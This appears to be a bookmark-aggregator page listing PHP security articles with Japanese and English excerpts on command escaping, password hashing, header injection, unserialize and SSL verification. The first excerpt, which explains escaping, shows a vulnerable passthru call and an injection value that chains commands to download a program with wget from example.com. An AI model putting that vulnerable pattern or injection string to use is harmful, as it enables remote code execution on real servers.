OSコマンドのエスケープ
(Last Updated On: 2022年7月25日)プログラムからOSコマンドを実行する場合、エスケープ処理を行わないと任意コマンドが実行される危険性があります。 今回はOSコマンドのエスケープについてです。 OSコマンドインジェクション OSコマンドインジェクションはプログラムから実行するコマンドに、攻撃用文字列を挿入（インジェクション）して意図しないコマンドを実行させる攻撃です。 例えば、次のようなLinuxシステムのディレクトリの内容を表示させるプログラム <?php passthru('ls -l '.$_GET['dir']); （任意のディレクトリ内容を表示できる脆弱性はここでは考慮しない） に不正なコマンドを実行させるのはとても簡単です。$_GET[‘dir’]に . ; cd /tmp; wget http://example.com/evil_program; ch
Security Advisory: PHP's escapeshellcmd and escapeshellarg are insecure
escapeshellrce.md Paul Buonopane paul@namepros.com at NamePros PGP: https://keybase.io/zenexer I'm working on cleaning up this advisory so that it's more informative at a glance. Suggestions are welcome. This advisory addresses the underlying PHP vulnerabilities behind Dawid Golunski's CVE-2016-10033, CVE-2016-10045, and CVE-2016-10074. It assumes prior understanding of these vulnerabilities. This
How to Safely Store Your Users' Passwords in 2016 - Paragon Initiative Enterprises Blog
The latest information from the team that develops cryptographically secure PHP software. Wish Security Was Easier? We developed Ward to help e-Commerce companies stay up-to-date while being hands-off. Learn More about Ward Get Ward Today! If you are unfamiliar with cryptography concepts or the vocabulary it uses, or especially you are looking for guidance on "password encryption", please read thi
LWSとHTTPヘッダインジェクション | 技術者ブログ | 三井物産セキュアディレクション株式会社
今回のトピックは「HTTPヘッダインジェクション」です。 HTTPヘッダインジェクションは、リクエストパラメータの操作等により、HTTPのレスポンスヘッダに改行文字（CR,LF）を挿入し、ヘッダフィールドを追加したり、ボディを操作したり、新たな偽のHTTPレスポンスを作り出したりする（HTTPレスポンス分割）攻撃、あるいは脆弱性です。 状況にもよりますが、この脆弱性は、被害者のブラウザにおいて、脆弱性のあるページのオリジンで不正なJavaScriptを実行する攻撃につながりえます。つまり被害としては、クロスサイトスクリプティングと同様になりうるということになります。 この脆弱性は古くから知られており、近年は特に目新しいトピックもなかったのですが、2014〜2015年に状況の変化があったので、今回取り上げてみたいと思います。 タイトルにあるように、本記事の主なテーマは「LWS」とHTTPヘッ
Security Issue: Combining Bcrypt With Other Hash Functions
The other day, I was directed at an interesting question on StackOverflow asking if password_verify() was safe against DoS attacks using extremely long passwords. Many hashing algorithms depend on the amount of data fed into them, which affects their runtime. This can lead to a DoS attack where an attacker can provide an exceedingly long password and tie up computer resources. It’s a really good q
PHP Denial of Service Attack Revisited
In 2011 the Chaos Computer Club revealed a major complexity attack vulnerability that works across all major languages. PHP addressed the vulnerability for forms but never really fixed it. Nowadays every web application uses a JSON API, which is still vulnerable to complexity attacks. How it works Hash Tables are optimized to be very fast in the average case. But if someone inserts keys that all c
PHP 5.5.0でイースターエッグが廃止されていた - hnwの日記
PHPユーザーの皆様に悲しい(?)お知らせです。PHPのオシャレ機能として有名なイースターエッグがPHP 5.5.0で廃止されていました。 そもそもPHPのイースターエッグって何よ？という方のために説明しておくと、PHP 5.4までは任意のPHPページのURL末尾に特定の文字列をつけると下記の象の画像や作者クレジットが表示されるような謎機能がありました*1。 詳しくは「PHP Easter Egg」をご覧ください。 ところが、PHP 5.5.0からこれが廃止されています。ChangeLogにはこれをほのめかすような内容が見つかりますが、下記の一文だけでピンとくる人も少ないでしょうから、ひっそり廃止されたという印象です。 Removed legacy features: Remove php_logo_guid(), php_egg_logo_guid(), php_real_logo_gu
PHP: rfc:secure_unserialize
unserialize() in PHP has certain security issues, brought by the fact that serialized data can include objects with data, and once these objects are instantiated, destructors are called when they are destroyed. This could allow to inject serialized data into application which may perform actions not intended by application writer, such as carelessly assuming unserialized data have certain types an
SSL and PHP Streams – You Are Doing It Wrong | Blog | Venditan
Client CommunicationPHP provides some very simple APIs to use encrypted connections for client communication. It lets you make an encrypted HTTP request to retrieve some data with just one line of code:<?php $data = file_get_contents(‘https://example.com/file.ext’); Great! We just retrieved some data from a remote server in completely secure manner, right? Wrong. Problem 1: Peer verificationOne of
WordPress < 3.6.1 PHP Object Injection - tom.vg
WordPress < 3.6.1 PHP Object InjectionUpdate WordPress to avoid Remote Code Execution attacks 11 September 2013 After reading a blog post about a “PHP object injection” vulnerability in Joomla, I dug a bit deeper and found Stefan Esser’s slides of the 2010 BlackHat conference, which showed that PHP’s unserialize() function can give rise to vulnerabilities when supplied user-generated content. So b
Securing PHP: The Usual Suspects
You are the developer, you hold the power in your hands to protect your users and their information. They trust you with it, shouldn't you do everything you can to keep that trust? Let me guide you through a look at some of the most common issues with web applications and suggest ways to correct them along the way. Even if you're a novice to security or to PHP, this book can help you get started d
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
best algorithm to store passwords in 2016
It's All About Time
The PHP Security Advisories Database |Articles - Fabien Potencier
Securing PHP: The Starter Bundle
Session hijacking and PHP
PHP cryptography - proceed with care | IPSec.pl
What encryption algorithm is best for encrypting cookies?
https://blog.astrumfutura.com/2014/03/php-package-signing-my-current-thoughts/
Securing PHP: Core Concepts